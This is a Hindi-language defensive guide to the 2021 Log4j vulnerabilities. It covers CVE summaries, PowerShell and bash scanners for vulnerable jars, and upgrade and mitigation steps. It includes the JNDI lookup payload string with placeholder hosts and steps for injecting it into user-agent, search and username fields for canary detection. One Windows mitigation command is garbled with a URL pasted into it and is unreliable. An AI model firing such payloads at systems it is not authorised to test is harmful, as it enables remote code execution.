Log4j की कमज़ोरियों में सबसे बड़ा बुरा भेड़िया। यह कमज़ोरी तब शोषित होती है जब ${jndi:ldap://\<angrepskode>/a} स्ट्रिंग का एक रूप Log4j द्वारा लॉग किया जाता है। CVSS 10.0, RCE।

CVE-2021-44228 जितनी बड़ी नहीं, लेकिन उतनी ही भयानक। Log4j के गैर-मानक सेटअप की आवश्यकता होती है। CVSS 9.0, RCE और DoS।

CVE-2021-44228 जितनी बड़ी नहीं, और थोड़ी कम भयानक भी। CVSS 7.5, DoS

केवल Log4j संस्करण 1.x पर लागू होती है। इसके लिए आवश्यक है कि Log4j JMSAppender का उपयोग करे। CVSS 6.6, RCE शोषण के लिए आवश्यक है कि Log4j JMSAppender का उपयोग करे। या तो JMSAppender सीधे कॉन्फ़िगर किया गया हो - जो असामान्य है - या हमलावर स्वयं इसे Log4j के कॉन्फ़िगरेशन में जोड़ दे। इसके अतिरिक्त, हमलावर के पास JMSAppender के कॉन्फ़िगरेशन को बदलने की पहुँच होनी चाहिए। यदि ऐसा है, तो हमलावर के पास आमतौर पर पहले से ही सिस्टम तक पहुँच होगी। इसलिए इस कमज़ोरी को कम प्रासंगिक माना जाता है।

केवल Log4j संस्करण 1.x पर लागू होती है। इसके लिए आवश्यक है कि Log4j SocketServer का उपयोग करे। CVSS 9.8, RCE यह संबंधित सॉकेट तक नेटवर्क पहुँच रखने वाले हमलावर को कोड निष्पादन की क्षमता देती है। शोषण कोड सार्वजनिक रूप से उपलब्ध है।

2. यह टेक्स्ट स्ट्रिंग बनाएँ ${jndi:ldap://<kanaritoken>/a}
3. इस स्ट्रिंग को उन सभी फ़ील्ड्स में दर्ज करें जिन्हें संभावित रूप से लॉग किया जा सकता है

- User-agent
- खोज फ़ील्ड
- उपयोगकर्ता नाम
- ...

4. कैनरी हिट्स की निगरानी करें और पता लगाएँ कि log4j कहाँ चल रहा है।

स्रोत: Florian Roth का ट्वीट

Windows

यह मैप किए गए नेटवर्क ड्राइव सहित सभी डिस्क को लेता है:

Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

स्रोत: https://twitter.com/0gtweet/status/1469661769547362305

यदि आप केवल स्थानीय डिस्क की जाँच करना चाहते हैं:

Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

स्रोत: https://twitter.com/webmastir/status/1470386184052486155?s=20

यदि आप इसके अलावा मशीन की इवेंट लॉग की जाँच करना चाहते हैं।

Get-WinEvent -ListLog * |
  foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
  where message -match 'jndi'

Linux #1

#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
        echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0

root के रूप में चलाएँ

Linux #2

lsof | grep log4j-core

Java 8

Log4j को v 2.17.0 में अपडेट करें

Java 7

Log4j को v 2.12.2 में अपडेट करें ध्यान दें यह CVE-2021-45105 को शमित नहीं करता है

⚠️ इस विधि को अब पूर्ण समाधान नहीं माना जाता है, क्योंकि यह सभी स्थितियों में सभी कमज़ोरियों को शमित नहीं करती।

Windows

[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)

ध्यान दें: पुनरारंभ आवश्यक है

स्रोत: https://twitter.com/CyberRaiju/status/1469505680138661890

JVM फ़्लैग सेट करना

"‐Dlog4j2.formatMsgNoLookups=True"

कमांड लाइन उदाहरण:

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet

या -Xmx मान के साथ:

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku